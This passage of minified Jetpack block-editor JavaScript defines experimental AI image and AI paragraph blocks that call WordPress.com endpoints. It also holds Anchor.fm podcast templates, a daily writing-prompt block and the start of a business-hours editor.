t=/^jetpack\//.test(e)?e.substr(8,e.length):e,{available:n,unavailableReason:r}=(0,s.Z)(t);return!n&&"missing_plan"===r}function p(e,t){return"missing_plan"===e&&t.required_plan}function m(e){if(!e)return!1;const t=/^jetpack\//.test(e)?e.substr(8,e.length):e,{details:n,unavailableReason:r}=(0,s.Z)(t);return p(r,n)}const h=[{name:"core/cover",mediaPlaceholder:!0,mediaReplaceFlow:!0,fileType:"video",description:__("Upgrade your plan to use video covers","jetpack")},{name:"core/audio",mediaPlaceholder:!0,mediaReplaceFlow:!0,fileType:"audio",description:__("Upgrade your plan to upload audio","jetpack")}];function f(){return(0,o.get)((0,i.Z)(),"jetpack.enable_upgrade_nudge",!1)}const g=e=>(0,o.map)(h,"name").includes(e),b=e=>(0,o.head)((0,o.filter)(h,(t=>{let{name:n}=t;return n===e})))},76714:function(e,t,n){"use strict";n.d(t,{Z:function(){return o}});var r=n(98817),a=n(48052);function o(e,t){const{available:n,unavailableReason:o}=(0,a.Z)(e);return!!n&&(0,r.registerPlugin)(`jetpack-${e}`,t)}},99505:function(e,t,n){"use strict";n.d(t,{M6:function(){return s},Ug:function(){return i},Wp:function(){return o},aQ:function(){return l}});var r=n(50148);function a(){return"object"==typeof window&&"string"==typeof window._currentSiteType?window._currentSiteType:null}function o(){return"simple"===a()}function i(){return"atomic"===a()}function s(){var e;const t=(0,r.Z)();return null!==(e=t?.jetpack?.is_private_site)&&void 0!==e&&e}function l(){var e;const t=(0,r.Z)();return null!==(e=t?.jetpack?.is_coming_soon)&&void 0!==e&&e}},80354:function(e,t,n){"use strict";var r=n(82674),a=n.n(r),o=n(94333);t.Z=e=>(0,o.createHigherOrderComponent)((t=>n=>React.createElement(t,a()({},n,{className:n.name===e?"has-warning is-interactive":n.className}))),"withHasWarningIsInteractiveClassNames")},19433:function(e,t){"use strict";t.Z={content:{type:"string",source:"text"},requestedPrompt:{type:"string",default:!1}}},77567:function(e,t,n){"use strict";n.d(t,{K:function(){return r}});const r=["A digital Illustration of the a purely mechanical television, 4k, detailed, fantasy vivid colors","3D render of a floating futuristic castle in a clear sky, digital art","Hedgehog smelling a flower | clear blue sky | intricate artwork by Beatrix Potter | cottagecore aesthetic | 8K | highly detailed | wide angle |","Hyper realistic photo of a high end futuristic single-level house where walls are made of windows, light coming through the window, mid century modern style, cinematic lighting","Pink ape Astronaut in space holding a claymate in a photorealistic style, digital art","Studio photography set of high detail irregular marble stones with gold lines stacked in impossible balance, perfect composition, cinematic light photo studio, beige color scheme, indirect lighting, 8k, elegant and luxury style","Ultrawide, highway,  with golden ratio style, 4K , sides  are prairies, light is Golden hour, sky with red Clouds, ultrarealistic, CinémaScope, ultra wide format, ratio 16/9, 1/1000 sec, maximum resolution, Sharp details","A photo of cat flying out to space as an astronaut, digital art","A hyper realistic rilakkuma enjoying an icecream in the snow","A lush tropical forest with a waterfall.","A majestic snowy mountain peak.","A beautiful sunset over a beach.","A serene lake surrounded by trees.","A picturesque countryside with rolling hills.","A colorful hot air balloon in the sky.","A peaceful Zen garden.","A grand castle on a hill.","A lively street market in a bustling city.","A delightful flower garden in full bloom.","A cozy cabin in the woods.","A vibrant coral reef teeming with sea life.","A classic European city with cobblestone streets.","A stunning waterfall cascading into a crystal clear pool.","A secluded cabin on the edge of a lake.","A beautiful desert landscape with sand dunes.","A majestic elephant in its natural habitat.","A charming countryside village with thatched roof cottages.","A dreamy castle floating on a cloud.","A whimsical tree house in a forest.","A vibrant city skyline at night.","A picturesque vineyard with rows of grapevines.","A peaceful Japanese garden with a koi pond.","A charming lighthouse on a rocky coastline.","A beautiful waterfall surrounded by greenery.","A dreamy castle with a moat and drawbridge.","A colorful hot air balloon festival.","A beautiful garden with a fountain and sculptures.","A picturesque countryside with a windmill.","A stunning mountain landscape with a rainbow."]},84295:function(e,t,n){"use strict";n.d(t,{Z:function(){return h}});var r=n(51806),a=n(13419),o=n(86989),i=n.n(o),s=n(52175),l=n(4981),c=n(55609),u=n(9818),d=n(69307),p=n(65736),m=n(77567);const __=p.__;function h(e){let{attributes:t,setAttributes:n,clientId:o}=e;const[p,h]=(0,d.useState)(!1),[f,g]=(0,d.useState)([]),[b,v]=(0,d.useState)(null),[k,y]=(0,d.useState)(""),{replaceBlock:E}=(0,u.useDispatch)(s.store),[w,_]=(0,d.useState)(null),[C]=(0,d.useState)((S=m.K)[Math.floor(Math.random()*S.length)]);var S;const j=__("Retry","jetpack"),x=__("Submit","jetpack"),P=w?j:x,{tracks:L}=(0,a.z$)(),{mediaUpload:T}=(0,u.useSelect)((e=>{const{getSettings:t}=e(s.store);return{mediaUpload:t().mediaUpload}}),[]),N=(0,u.useSelect)((e=>e("core/editor").getCurrentPostId())),A=e=>{let{image:t,inModal:n=!1}=e;return(0,r.createElement)(c.Flex,{direction:"column"},n&&(0,r.createElement)(c.FlexItem,{style:{"text-align":"center"}},(0,r.createElement)(c.Button,{variant:"primary",onClick:()=>R(t)},__("Use this image","jetpack"))),(0,r.createElement)(c.FlexBlock,null,(0,r.createElement)("img",{className:"wp-block-ai-image-image",src:t,alt:"",onClick:()=>v(t)})),!n&&(0,r.createElement)(c.FlexBlock,null,(0,r.createElement)(c.Flex,{direction:"column",style:{"align-items":"center"}},(0,r.createElement)(c.FlexItem,null,(0,r.createElement)(c.Button,{variant:"primary",onClick:()=>R(t)},__("Use this image","jetpack"))))))},R=async e=>{if(p)return;h(!0),_(null);const n=await fetch(e),r=await n.blob(),a=new File([r],"jetpack_ai_image.png",{type:"image/png"});T({filesList:[a],onFileChange:e=>{let[n]=e;n.id&&E(o,(0,l.createBlock)("core/image",{url:n.url,caption:t.requestedPrompt,alt:t.requestedPrompt}))},allowedTypes:["image"],onError:e=>{console.error(e),h(!1)}}),L.recordEvent("jetpack_ai_dalle_generation_upload",{post_id:N})};return(0,r.createElement)("div",(0,s.useBlockProps)(),(0,r.createElement)(c.Placeholder,{label:__("AI Image","jetpack"),notices:w&&[(0,r.createElement)("div",null,w)]},!p&&0===f.length&&(0,r.createElement)(c.Flex,{expanded:!0},(0,r.createElement)(c.FlexBlock,null,(0,r.createElement)(c.TextareaControl,{label:__("What would you like to see?","jetpack"),placeholder:C,allowedFormats:[],onChange:y,rows:6}),(0,r.createElement)(c.Button,{variant:"primary",onClick:()=>{h(!1),g([]),_(null),function(e,t,n,r,a,o){n(!0),a(null),t({requestedPrompt:e}),i()({path:"/wpcom/v2/jetpack-ai/images/generations",method:"POST",data:{prompt:e,post_id:o}}).then((e=>{n(!1);const t=e.data.map((e=>"data:image/png;base64,"+e.b64_json));r(t)})).catch((e=>{e.message?a(e.message):a(__("Whoops, we have encountered an error. AI is like really, really hard and this is an experimental feature. Please try again later.","jetpack")),n(!1)}))}(""===k.trim()?C:k,n,h,g,_,N),L.recordEvent("jetpack_ai_dalle_generation",{post_id:N})}},P))),!p&&f.length>0&&(0,r.createElement)(c.Flex,{direction:"column",style:{width:"100%"}},(0,r.createElement)(c.FlexBlock,{style:{textAlign:"center",margin:"12px",fontStyle:"italic",width:"100%"}},t.requestedPrompt),(0,r.createElement)(c.FlexBlock,{style:{fontSize:"20px",lineHeight:"38px"}},__("Please choose your image","jetpack")),(0,r.createElement)(c.Flex,{direction:"row",wrap:!0},f.map((e=>(0,r.createElement)(A,{image:e}))))),!p&&b&&(0,r.createElement)(c.Modal,{onRequestClose:()=>v(null)},(0,r.createElement)(A,{image:b,inModal:!0})),t.content&&(0,r.createElement)("div",{className:"content"},t.content),p&&(0,r.createElement)(c.FlexBlock,{style:{padding:"10px",textAlign:"center"}},(0,r.createElement)(c.Spinner,{style:{height:"calc(4px * 20)",width:"calc(4px * 20)"}}))))}},6454:function(e,t,n){"use strict";var r=n(31985),a=n(6173);(0,r.Z)(a.u2,a.Xd)},6173:function(e,t,n){"use strict";n.d(t,{Xd:function(){return p},u2:function(){return d}});var r=n(51806),a=n(6895),o=n(55609),i=n(69307),s=n(65736),l=n(70355),c=n(19433),u=n(84295);const __=s.__,_x=s._x,d="ai-image",p={apiVersion:2,title:__("AI Image (Experimental)","jetpack"),description:(0,r.createElement)(i.Fragment,null,(0,r.createElement)("p",null,__("Automatically generate an illustration for your post, powered by AI magic.","jetpack")),(0,r.createElement)("p",null,__("We are experimenting with this feature and can tweak or remove it at any point.","jetpack")),(0,r.createElement)(o.ExternalLink,{href:(0,a.Z)("jetpack_ai_feedback")},__("Share your feedback.","jetpack"))),icon:{src:"superhero",foreground:(0,l.m)()},category:"media",keywords:[_x("AI","block search term","jetpack"),_x("AL","block search term","jetpack"),_x("DALLe","block search term","jetpack"),_x("Diffusion","block search term","jetpack"),_x("Magic","block search term","jetpack")],supports:{align:!1,alignWide:!1,anchor:!1,customClassName:!1,className:!0,html:!1,multiple:!0,reusable:!1},edit:u.Z,save:()=>"",attributes:c.Z,example:{attributes:{}}}},2472:function(e,t){"use strict";t.Z={content:{type:"string",source:"html"},animationDone:{type:"boolean",default:!1}}},55410:function(e,t,n){"use strict";n.d(t,{ZP:function(){return f}});var r=n(51806),a=n(13419),o=n(86989),i=n.n(o),s=n(52175),l=n(55609),c=n(9818),u=n(69307),d=n(65736),p=n(61209);const __=d.__,m=function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"",t=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"",n=arguments.length>3&&void 0!==arguments[3]?arguments[3]:"";const r=(arguments.length>1&&void 0!==arguments[1]?arguments[1]:[]).filter((function(e){return e&&e.attributes&&e.attributes.content})).map((function(e){return e.attributes.content.replaceAll("<br/>","\n")})).join("\n").slice(-1024);if(!(e||r||t||n))return!1;let a="";return a=e?(0,d.sprintf)(/** translators: This will be the beginning of a prompt that will be sent to OpenAI based on the post title. */
__("Please help me write a short piece of a blog post titled '%1$s'","jetpack"),e):__("Please help me write a short piece of a blog post","jetpack"),t&&(
/** translators: This will be the follow up of a prompt that will be sent to OpenAI based on comma-seperated category names. */
a+=(0,d.sprintf)(__(", published in categories '%1$s'","jetpack"),t)),n&&(
/** translators: This will be the follow up of a prompt that will be sent to OpenAI based on comma-seperated category names. */
a+=(0,d.sprintf)(__(" and tagged '%1$s'","jetpack"),n)),a+=__(". Please only output generated content ready for publishing.","jetpack"),r&&(
/** translators: This will be the end of a prompt that will be sent to OpenAI with the last MAXIMUM_NUMBER_OF_CHARACTERS_SENT_FROM_CONTENT characters of content.*/
a+=(0,d.sprintf)(__(" Please continue from here:\n\n … %s","jetpack"),r)),a.trim()};function h(e){let{html:t,showAnimation:n,onAnimationDone:a}=e;const[o,i]=(0,u.useState)("");return(0,u.useEffect)((()=>{if(n){const e=t.split(" ");for(let t=1;t<e.length;t++){const n=e.slice(0,t).join(" ");setTimeout((()=>i(n)),50*t)}setTimeout((()=>{i(t),a()}),50*e.length)}else i(t)}),[]),(0,r.createElement)("div",{className:"content"},(0,r.createElement)(u.RawHTML,null,o))}function f(e){let{attributes:t,setAttributes:n,clientId:o}=e;const[d,f]=(0,u.useState)(!1),[g,b]=(0,u.useState)(!1),[v,k]=(0,u.useState)(!1),[y,E]=(0,u.useState)(!1),[w,_]=(0,u.useState)(!1),{tracks:C}=(0,a.z$)(),S=(0,c.useSelect)((e=>e("core/editor").getEditedPostAttribute("title")));let j=!1;const x=(0,c.useSelect)((e=>e("core/editor").getEditedPostAttribute("categories")))||[],P=(0,c.useSelect)((e=>x.map((t=>{const n=e("core").getEntityRecord("taxonomy","category",t);if(n)return n;j=!0})).filter(Boolean)),[x]),L=(0,c.useSelect)((e=>e("core/editor").getEditedPostAttribute("tags")),[])||[],T=(0,c.useSelect)((e=>L.map((t=>{const n=e("core").getEntityRecord("taxonomy","post_tag",t);if(n)return n;j=!0})).filter(Boolean)),[L]);(0,u.useEffect)((()=>{b(j)}),[j]);const N=(0,c.useSelect)((e=>e("core/editor").getCurrentPostId())),A=P.filter((e=>1!==e.id)).map((e=>{let{name:t}=e;return t})).join(", "),R=T.map((e=>{let{name:t}=e;return t})).join(", "),I=(0,c.useSelect)((e=>{var t;const n=e("core/block-editor"),r=n.getBlockIndex(o);return null!==(t=n.getBlocks().slice(0,r))&&void 0!==t?t:[]})),M=()=>{if(t.content||d)return;E(!1),_(!1),k(!1),f(!0);const e={content:m(S,I,A,R)};C.recordEvent("jetpack_ai_gpt3_completion",{post_id:N}),i()({path:"/wpcom/v2/jetpack-ai/completions",method:"POST",data:e}).then((e=>{const t=e.trim().replaceAll("\n","<br/>");n({content:t}),f(!1)})).catch((e=>{e.message?_(e.message):_(__("Whoops, we have encountered an error. AI is like really, really hard and this is an experimental feature. Please try again later.","jetpack")),E(!0),f(!1)}))},B=d||g,Z=!!t.content,F=Z||B;return(0,c.useSelect)((()=>{if(!F){const e=m(S,I,A,R);(()=>{const e="jetpack/"+p.u2;return I.filter((t=>t.name&&t.name===e&&!t.attributes.content)).length>0})()?_(/** translators: This will be an error message when multiple Open AI paragraph blocks are triggered on the same page. */
__("Waiting for the previous AI paragraph block to finish","jetpack")):e?v?(_(/** translators: This is to retry to complete the text */
__("Ready to retry","jetpack")),E(!0),k(!1)):v||y||M():(_(/** translators: First placeholder is a number of more characters we need */
__("Please write a longer title or a few more words in the opening preceding the AI block. Our AI model needs some content.","jetpack")),k(!0))}}),[S,I,A,R,F,v,y]),(0,r.createElement)("div",(0,s.useBlockProps)(),!d&&!g&&w&&(0,r.createElement)(l.Placeholder,{label:__("AI Paragraph","jetpack"),instructions:w},y&&(0,r.createElement)(l.Button,{variant:"primary",onClick:()=>M()},__("Retry","jetpack"))),Z&&(0,r.createElement)(h,{showAnimation:!t.animationDone,onAnimationDone:()=>{n({animationDone:!0})},html:t.content}),!t.content&&B&&(0,r.createElement)("div",{style:{padding:"10px",textAlign:"center"}},(0,r.createElement)(l.Spinner,{style:{height:"calc(4px * 20)",width:"calc(4px * 20)"}})))}},16042:function(e,t,n){"use strict";var r=n(31985),a=n(61209);(0,r.Z)(a.u2,a.Xd)},61209:function(e,t,n){"use strict";n.d(t,{Xd:function(){return h},u2:function(){return m}});var r=n(51806),a=n(6895),o=n(52175),i=n(4981),s=n(55609),l=n(69307),c=n(65736),u=n(70355),d=n(2472),p=n(55410);const __=c.__,_x=c._x,m="ai-paragraph",h={apiVersion:2,title:__("AI Paragraph (Experimental)","jetpack"),description:(0,r.createElement)(l.Fragment,null,(0,r.createElement)("p",null,__("Automatically generate new paragraphs using your existing content, powered by AI magic.","jetpack")),(0,r.createElement)("p",null,__("We are experimenting with this feature and can tweak or remove it at any point.","jetpack")),(0,r.createElement)(s.ExternalLink,{href:(0,a.Z)("jetpack_ai_feedback")},__("Share your feedback.","jetpack"))),icon:{src:"superhero",foreground:(0,u.m)()},category:"text",keywords:[_x("AI","block search term","jetpack"),_x("GPT","block search term","jetpack"),_x("AL","block search term","jetpack"),_x("Magic","block search term","jetpack")],supports:{align:!0,alignWide:!0,anchor:!0,customClassName:!0,className:!0,html:!0,multiple:!0,reusable:!1},edit:p.ZP,save:e=>{const t=o.useBlockProps.save();return(0,r.createElement)(l.RawHTML,t,e.attributes.content)},attributes:d.Z,transforms:{to:[{type:"block",blocks:["core/paragraph"],transform:e=>{let{content:t}=e;return(0,i.createBlock)("core/paragraph",{content:t})}}]},example:{attributes:{animationDone:!1,content:__("I'm afraid I can't do that, Dave.","jetpack")}}}},51937:function(e,t,n){"use strict";var r=n(51806),a=n(78868),o=n(13419),i=n(55609),s=n(9818),l=n(72067),c=n(65736),u=n(61074),d=n(15381),p=n(98817),m=n(92819),h=n(99196),f=(n(53961),n(46185)),g=n(26881);const __=c.__;async function b(e){await(0,f.U)();const{insertBlocks:t}=(0,s.dispatch)("core/block-editor");let n;switch(e.tpl){case"spotifyBadge":n=(0,g.F)(e);break;case"basicEpisode":n=(0,g.J)(e)}n?.length&&t(n,0,void 0,!1)}const v=()=>{const{tracks:e}=(0,o.z$)();(0,h.useEffect)((()=>{e.recordEvent("jetpack_editor_block_anchor_fm_post_publish_impression")}),[e]);const t=(0,h.useCallback)((()=>e.recordEvent("jetpack_editor_block_anchor_fm_post_publish_click")),[e]);return(0,r.createElement)(l.PluginPostPublishPanel,{className:"anchor-post-publish-outbound-link",icon:(0,r.createElement)(a.Z,{showText:!1,height:16,logoColor:"#1E1E1E"}),title:__("Convert to audio","jetpack")},(0,r.createElement)(i.PanelRow,null,(0,r.createElement)("p",null,__("Seamlessly turn this post into a podcast episode with Anchor - and let readers listen to your post.","jetpack"))),(0,r.createElement)("div",{role:"link",className:"post-publish-panel__postpublish-buttons",tabIndex:0,onClick:t,onKeyDown:t},(0,r.createElement)(i.Button,{variant:"secondary",href:"https://anchor.fm/wordpressdotcom",target:"_top"},__("Create a podcast episode","jetpack")," ",(0,r.createElement)(u.Z,{icon:d.Z,className:"anchor-post-publish-outbound-link__external_icon"}))))};!function(){const e=window.Jetpack_AnchorFm;"object"==typeof e&&e.actions.forEach((e=>{const[t,n]=(0,m.castArray)(e);switch(t){case"insert-spotify-badge":b({...n,tpl:"spotifyBadge"});break;case"insert-episode-template":b({...n,tpl:"basicEpisode"});break;case"show-post-publish-outbound-link":(0,p.registerPlugin)("anchor-post-publish-outbound-link",{render:v});break;case"set-episode-title":!async function(e){let{title:t}=e;t&&(await(0,f.U)(),(0,s.dispatch)("core/editor").editPost({title:t}))}(n);break;case"create-episode-error-notice":r=n,(0,s.dispatch)("core/notices").createNotice("error",__("We couldn't find that episode in your feed. If you just published the episode, please try creating the post again in a few minutes.","jetpack"),{id:"episode-error-notice",actions:[{onClick(){window.location.href=r.retry_url},onKeyDown(){window.location.href=r.retry_url},label:__("Retry","jetpack")}]})}var r}))}()},26881:function(e,t,n){"use strict";n.d(t,{F:function(){return d},J:function(){return u}});var r=n(4981),a=n(65736),o=n(70355),i=n(6598);const _x=a._x,__=a.__;function s(e){let{spotifyShowUrl:t,spotifyImageUrl:n}=e;return[["core/image",{url:n,linkDestination:"none",href:t,align:"center",width:165,height:40,className:"is-spotify-podcast-badge"}]]}function l(e){let{episodeTrack:t,feedUrl:n}=e;const{guid:r}=t;return[["jetpack/podcast-player",{customPrimaryColor:(0,o.m)(),hexPrimaryColor:(0,o.m)(),url:n,selectedEpisodes:r?[{guid:r}]:[],showCoverArt:!1,showEpisodeTitle:!1,showEpisodeDescription:!1}]]}function c(e){let{spotifyShowUrl:t,spotifyImageUrl:n,episodeTrack:a={},feedUrl:o}=e;const i=[...l({episodeTrack:a,feedUrl:o})];return t&&n&&i.push(...s({spotifyShowUrl:t,spotifyImageUrl:n})),i.push(...function(e){let{episodeTrack:t}=e;const n=[["core/heading",{level:3,content:_x("Summary","noun: summary of a podcast episode","jetpack"),placeholder:__("Podcast episode title","jetpack")}]],a=(0,r.pasteHandler)({HTML:t.description_html,mode:"BLOCKS"});return a.length?n.push(...a):n.push(["core/paragraph",{placeholder:__("Podcast episode summary","jetpack")}]),n}({episodeTrack:a})),i.push(["core/heading",{level:3,content:__("Transcription","jetpack"),placeholder:__("Podcast episode transcription","jetpack")}],["core/paragraph",{placeholder:__("Podcast episode dialogue","jetpack")}],["core/paragraph",{placeholder:__("Podcast episode dialogue","jetpack")}],["core/paragraph",{placeholder:__("Podcast episode dialogue","jetpack")}]),i}function u(e){return(0,i.Z)(c(e))}function d(e){if(e.spotifyImageUrl&&e.spotifyShowUrl)return(0,i.Z)([...s(e)])}},14511:function(e,t){"use strict";t.Z={answersLink:{type:"string",source:"attribute",attribute:"href",selector:".jetpack-blogging-prompt__answers-link"},answersLinkText:{type:"string",source:"html",selector:".jetpack-blogging-prompt__answers-link"},gravatars:{type:"array",source:"query",selector:".jetpack-blogging-prompt__answers-gravatar",query:{url:{type:"string",source:"attribute",attribute:"src"}}},promptLabel:{type:"string",source:"html",selector:".jetpack-blogging-prompt__label"},promptText:{type:"string",source:"html",selector:".jetpack-blogging-prompt__text"},promptFetched:{type:"boolean",default:!1},promptId:{type:"number"},showResponses:{type:"boolean",default:!0},showLabel:{type:"boolean",default:!0},tagsAdded:{type:"boolean",default:!1}}},14303:function(e,t,n){"use strict";var r=n(51806),a=n(86989),o=n.n(a),i=n(52175),s=n(55609),l=n(9818),c=n(69307),u=n(65736),d=n(96483),p=n(44266);const __=u.__,_x=u._x;t.Z=(0,s.withNotices)((function(e){let{attributes:t,noticeOperations:n,noticeUI:a,setAttributes:m}=e;const h=(0,c.useRef)(!1),{answersLink:f,answersLinkText:g,gravatars:b,promptFetched:v,promptId:k,promptLabel:y,promptText:E,showLabel:w,showResponses:_,tagsAdded:C}=t,S=(0,i.useBlockProps)({className:"jetpack-blogging-prompt"});(0,p.n)(k,C,(e=>m({tagsAdded:e})));const j=(0,l.useSelect)((e=>{const{getEntityRecord:t,hasFinishedResolution:n}=e("core"),r=t("root","site")?.language||"en_US";return n("getEntityRecord",["root","site"])?r:null}),[]);(0,c.useEffect)((()=>{if(!j||h.current||v)return;const e=()=>{m({promptFetched:!1,promptId:null,tagsAdded:!1}),h.current=!1,n.removeAllNotices()};let t="/wpcom/v3/blogging-prompts";if(k)t+="/"+encodeURIComponent(k);else{const e=new Date;t+=`?after=--${(e.getMonth()+1).toString().padStart(2,"0")}-${e.getDate().toString().padStart(2,"0")}&order=desc`}t=(0,d.addQueryArgs)(t,{_locale:j}),h.current=!0,o()({path:t}).then((e=>{const t=k?e:e[0];m({answersLink:t.answered_link,answersLinkText:t.answered_link_text,gravatars:t.answered_users_sample.map((e=>{let{avatar:t}=e;return{url:t}})),promptFetched:!0,promptLabel:t.label,promptText:t.text,promptId:t.id})})).catch((t=>{m({promptFetched:!0});const a="rest_post_invalid_id"===t.code&&k?(o=k,(0,r.createElement)(r.Fragment,null,(0,u.sprintf)(/* translators: %d is the prompt id. */
__("Prompt with id %d not found.","jetpack"),o)," ",(0,r.createElement)(s.Button,{variant:"link",onClick:e},__("Reset prompt","jetpack")))):(t=>(0,r.createElement)(r.Fragment,null,(0,u.sprintf)(/* translators: %s is the error message. */
__("Error while fetching prompt: %s","jetpack"),t)," ",(0,r.createElement)(s.Button,{variant:"link",onClick:e},__("Retry","jetpack"))))(t.message);var o;n.removeAllNotices(),n.createErrorNotice(a)}))}),[h,n,v,k,m,j]);const x=e=>{m({showLabel:e})},P=e=>{m({showResponses:e})};return(0,r.createElement)("div",S,a,(0,r.createElement)(r.Fragment,null,(0,r.createElement)(i.InspectorControls,null,(0,r.createElement)(s.PanelBody,{title:_x("Settings","title of block settings sidebar section","jetpack")},(0,r.createElement)(s.ToggleControl,{label:__("Show daily prompt label","jetpack"),checked:w,onChange:x}),(0,r.createElement)(s.ToggleControl,{label:__("Show other responses","jetpack"),checked:_,onChange:P})))),v?(0,r.createElement)(r.Fragment,null,w&&(0,r.createElement)("div",{className:"jetpack-blogging-prompt__label"},y),(0,r.createElement)("div",{className:"jetpack-blogging-prompt__text"},E),_&&k&&(0,r.createElement)("div",{className:"jetpack-blogging-prompt__answers"},b&&b.slice(0,3).map((e=>{let{url:t}=e;return t&&(0,r.createElement)("img",{className:"jetpack-blogging-prompt__answers-gravatar",src:t,key:t})})),(0,r.createElement)("a",{className:"jetpack-blogging-prompt__answers-link",href:f,target:"_blank",rel:"external noreferrer noopener"},g))):(0,r.createElement)("div",{className:"jetpack-blogging-prompt__spinner"},(0,r.createElement)(s.Spinner,null)))}))},35681:function(e,t,n){"use strict";var r=n(4981),a=n(9818),o=n(31985),i=n(46185),s=n(50187);(0,o.Z)(s.u2,s.Xd),function(){var e;const t=new URL(document.location.href);if(!t.pathname.endsWith("/wp-admin/post-new.php"))return;const n=null!==(e=t.searchParams.get("answer_prompt"))&&void 0!==e?e:"0",o=parseInt(n);o&&async function(e){await(0,i.U)();const{insertBlocks:t}=(0,a.dispatch)("core/block-editor");t([(0,r.createBlock)(`jetpack/${s.u2}`,{promptFetched:!1,promptId:e,tagsAdded:!0}),(0,r.createBlock)("core/paragraph")],0,void 0,!1)}(o)}()},50187:function(e,t,n){"use strict";n.d(t,{Xd:function(){return h},u2:function(){return m}});var r=n(65736),a=n(70355),o=n(5820),i=n(14511),s=n(14303),l=n(19597),c=n(65783),u=n(43807),d=n(45416),p=n(2275);const __=r.__,_x=r._x,m="blogging-prompt",h={apiVersion:2,title:__("Writing Prompt","jetpack"),description:__("Answer a new and inspiring writing prompt each day.","jetpack"),icon:{src:d.Z,foreground:(0,a.m)()},category:(0,o.Z)("text"),keywords:[_x("writing","block search term","jetpack"),_x("blogging","block search term","jetpack")],supports:{align:!1,alignWide:!1,anchor:!1,className:!0,color:{background:!0,gradients:!0,link:!0,text:!0},customClassName:!0,html:!1,inserter:!0,multiple:!1,reusable:!0,spacing:{margin:["top","bottom"],padding:!0,blockGap:!1}},edit:s.Z,save:p.Z,attributes:i.Z,styles:[{name:"block",label:__("Block","jetpack"),isDefault:!0},{name:"quote",label:__("Quote","jetpack")}],example:{attributes:{answersLink:"https://wordpress.com/tag/dailyprompt",answersLinkText:__("View all responses","jetpack"),gravatars:[{url:l},{url:c},{url:u}],promptLabel:__("Daily writing prompt","jetpack"),promptText:__("What's your favorite place to visit?","jetpack"),promptFetched:!0,promptId:1234,showResponses:!0,showLabel:!0,tagsAdded:!0}}}},2275:function(e,t,n){"use strict";var r=n(51806),a=n(52175);t.Z=function(e){let{attributes:t}=e;const{answersLink:n,answersLinkText:o,gravatars:i,promptId:s,promptLabel:l,promptText:c,showLabel:u,showResponses:d}=t,p=a.useBlockProps.save({className:"jetpack-blogging-prompt"});return(0,r.createElement)("div",p,u&&(0,r.createElement)("div",{className:"jetpack-blogging-prompt__label"},l),(0,r.createElement)("div",{className:"jetpack-blogging-prompt__text"},c),d&&s&&(0,r.createElement)("div",{className:"jetpack-blogging-prompt__answers"},i.map((e=>{let{url:t}=e;return t&&(0,r.createElement)("img",{className:"jetpack-blogging-prompt__answers-gravatar","aria-hidden":"true",src:t,key:t})})),(0,r.createElement)("a",{className:"jetpack-blogging-prompt__answers-link",href:n,target:"_blank",rel:"external noreferrer noopener"},o)))}},44266:function(e,t,n){"use strict";n.d(t,{n:function(){return c}});var r=n(86989),a=n.n(r),o=n(9818),i=n(69307),s=n(81975);function l(e){const t=(0,s.escapeHTML)(e);return a()({path:"/wp/v2/tags",method:"POST",data:{name:t}}).catch((t=>"term_exists"!==t.code?Promise.reject(t):Promise.resolve({id:t.data.term_id,name:e})))}function c(e,t,n){const{editPost:r}=(0,o.useDispatch)("core/editor"),a=(0,i.useRef)("not-started"),{postType:s,postsSupportTags:c,tags:u,tagIds:d,tagsHaveResolved:p}=(0,o.useSelect)((e=>{const{getEditedPostAttribute:t}=e("core/editor"),{getEntityRecords:n,getPostType:r,hasFinishedResolution:a}=e("core"),o=t("tags"),i={_fields:"id,name",context:"view",include:o?.join(","),per_page:-1};return{postType:t("type"),postsSupportTags:r("post")?.taxonomies.includes("post_tag"),tagIds:o||[],tags:o&&o.length?n("taxonomy","post_tag",i):[],tagsHaveResolved:!o||!o.length||a("getEntityRecords",["taxonomy","post_tag",i])}}),[]);(0,i.useEffect)((()=>{"post"===s&&c&&!t&&p&&e&&Array.isArray(u)&&("not-started"===a.current&&(u.some((e=>e.name&&"dailyprompt"===e.name))&&u.some((t=>t.name&&t.name===`dailyprompt-${e}`))?a.current="fulfilled":(a.current="pending",Promise.all([l("dailyprompt"),l(`dailyprompt-${e}`)]).then((e=>{const t=e.map((e=>e.id));r({tags:[...d,...t]}),a.current="fulfilled"})).catch((e=>{console.error(e),a.current="rejected"})))),"fulfilled"===a.current&&n(!0))}),[r,c,s,e,a,n,u,d,t,p])}},50756:function(e,t,n){"use strict";var r=n(90017),a=n.n(r),o=n(51806),i=n(55609),s=n(69307),l=n(65736),c=n(65235),u=n.n(c),d=n(92819);const __=l.__,p="09:00",m="17:00";class h extends s.Component{constructor(){super(...arguments),a()(this,"renderInterval",((e,t)=>{const{day:n}=this.props,{opening:r,closing:a}=e;return(0,o.createElement)(s.Fragment,{key:t},(0,o.createElement)("div",{className:"business-hours__row"},(0,o.createElement)("div",{className:u()(n.name,"business-hours__day")},0===t&&this.renderDayToggle()),(0,o.createElement)("div",{className:u()(n.name,"business-hours__hours")},(0,o.createElement)(i.TextControl,{type:"time",label:__("Opening","jetpack"),value:r,className:"business-hours__open",placeholder:p,onChange:e=>{this.setHour(e,"opening",t)}}),(0,o.createElement)(i.TextControl,{type:"time",label:__("Closing","jetpack"),value:a,className:"business-hours__close",placeholder:m,onChange:e=>{this.setHour(e,"closing",t)}})),(0,o.createElement)("div",{className:"business-hours__remove"},n.hours.length>1&&(0,o.createElement)(i.Button,{isSmall:!0,variant:"link",icon:"trash",label:__("Remove Hours","jetpack"),onClick:()=>{this.removeInterval(t)}}))),t===n.hours.length-1&&(0,o.createElement)("div",{className:"business-hours__row business-hours-row__add"},(0,o.createElement)("div",{className:u()(n.name,"business-hours__day")}," "),(0,o.createElement)("div",{className:u()(n.name,"business-hours__hours")},(0,o.createElement)(i.Button,{variant:"link",label:__("Add Hours","jetpack"),onClick:this.addInterval},__("Add Hours","jetpack"))),(0,o.createElement)("div",{className:"business-hours__remove"}," ")))})),a()(this,"setHour",((e,t,n)=>{const{day:r,attributes:a,setAttributes:o}=this.props,{days:i}=a;o({days:i.map((a=>a.name===r.name?{...a,hours:a.hours.map(((r,a)=>a===n?{...r,[t]:e}:r))}:a))})})),a()(this,"toggleClosed",(e=>{const{day:t,attributes:n,setAttributes:r}=this.props,{days:a}=n;r({days:a.map((n=>{if(n.name===t.name){const t=e?[{opening:p,closing:m}]:[];return{...n,hours:t}}return 